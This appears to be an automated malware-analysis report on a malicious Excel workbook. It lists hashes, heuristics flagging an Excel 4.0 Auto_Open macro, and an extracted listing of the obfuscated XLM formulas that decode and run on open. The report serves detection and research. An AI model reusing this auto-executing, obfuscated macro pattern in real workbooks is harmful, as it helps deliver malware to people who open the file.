Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51a148aa2ea3ced0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:52 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 5413a54bc8b50241273fea05f90a85e7 SHA-1: c4dac2aafc97ecb2575859f42faf8c24c5dc4ee5 SHA-256: 51a148aa2ea3ced066ecca27de80720597bc8913e5e5c6f0bbf462bd4051f712
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6640 bytes
SHA-256: cb7dccaf1cef461fc64eb8d7347e5241c795d25f5da0f1d42b5c45c072d72802
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HPUDf
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H178 
' 0018     27 LABEL : Cell Value, String Constant - cITqHwoMohfy len=0 
' 0018     23 LABEL : Cell Value, String Constant - CqsaFqjX len=0 
' 0018     22 LABEL : Cell Value, String Constant - dZrTQRl len=0 
' 0018     24 LABEL : Cell Value, String Constant - EgkhPogvm len=0 
' 0018     20 LABEL : Cell Value, String Constant - EROwf len=0 
' 0018     26 LABEL : Cell Value, String Constant - eUROxurgbmB len=0 
' 0018     21 LABEL : Cell Value, String Constant - HUDOTY len=0 
' 0018     26 LABEL : Cell Value, String Constant - iCCgaghTRgW len=0 
' 0018     21 LABEL : Cell Value, String Constant - KjRPPX len=0 
' 0018     22 LABEL : Cell Value, String Constant - LIKSamA len=0 
' 0018     27 LABEL : Cell Value, String Constant - lyllQSvSPUcN len=0 
' 0018     21 LABEL : Cell Value, String Constant - lZBsUh len=0 
' 0018     27 LABEL : Cell Value, String Constant - MsVftqXGvuFW len=0 
' 0018     20 LABEL : Cell Value, String Constant - PlVId len=0 
' 0018     23 LABEL : Cell Value, String Constant - PTtnOyoM len=0 
' 0018     22 LABEL : Cell Value, String Constant - tkQMQeu len=0 
' 0018     25 LABEL : Cell Value, String Constant - tOBZQSJjHW len=0 
' 0018     24 LABEL : Cell Value, String Constant - uZfRhwYsS len=0 
' 0018     26 LABEL : Cell Value, String Constant - WbOrdSNBfYj len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZMSYcKiNfqxM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HPUDf,R48,"",576.00000000000000000000
'  HPUDf,R49,"",524.00000000000000000000
'  HPUDf,R50,"",616.00000000000000000000
'  HPUDf,R51,"",-452.00000000000000000000
'  HPUDf,R52,"",-558.00000000000000000000
'  HPUDf,R53,"",655.00000000000000000000
'  HPUDf,H78,"SET.NAME("EROwf",0+VALUE("0"))",""
'  HPUDf,H82,"SET.NAME("cITqHwoMohfy",EROwf)",""
'  HPUDf,H87,"SET.NAME("lZBsUh",EROwf)",""
'  HPUDf,H91,"SET.NAME("iCCgaghTRgW",COUNTA(CqsaFqjX))",""
'  HPUDf,H94,"SET.NAME("WbOrdSNBfYj",COUNTA(dZrTQRl))",""
'  HPUDf,H98,[],""
'  HPUDf,H102,"SET.NAME("tOBZQSJjHW","")",""
'  HPUDf,H104,"cITqHwoMohfy",""
'  HPUDf,H109,"SET.NAME("EgkhPogvm",HLOOKUP("*",CqsaFqjX,cITqHwoMohfy,FALSE))",""
'  HPUDf,H113,"KjRPPX",""
'  HPUDf,H116,"SET.NAME("tkQMQeu",EROwf)",""
'  HPUDf,H121,[],""
'  HPUDf,H126,"tkQMQeu",""
'  HPUDf,H128,"uZfRhwYsS",""
'  HPUDf,H133,"HUDOTY",""
'  HPUDf,H137,"eUROxurgbmB",""
'  HPUDf,H140,"SET.NAME("LIKSamA",VALUE(HLOOKUP("*",dZrTQRl,eUROxurgbmB,FALSE)))",""
'  HPUDf,H145,"PlVId",""
'  HPUDf,H149,"tOBZQSJjHW",""
'  HPUDf,H151,"lZBsUh",""
'  HPUDf,H156,NEXT(),""
'  HPUDf,H160,"PTtnOyoM",""
'  HPUDf,H164,[],""
'  HPUDf,H169,"MsVftqXGvuFW",""
'  HPUDf,H173,NEXT(),""
'  HPUDf,H176,RETURN(),""
'  HPUDf,H200,"SET.NAME("ZMSYcKiNfqxM",H78)",""
'  HPUDf,H202,"CqsaFqjX",""
'  HPUDf,H204,"SET.NAME("dZrTQRl",R44C15)",""
'  HPUDf,H207,"SET.NAME("MsVftqXGvuFW",214)",""
'  HPUDf,H210,"SET.NAME("lyllQSvSPUcN",8)",""
'  HPUDf,H213,ZMSYcKiNfqxM(),""
'  HPUDf,H214,HALT(),""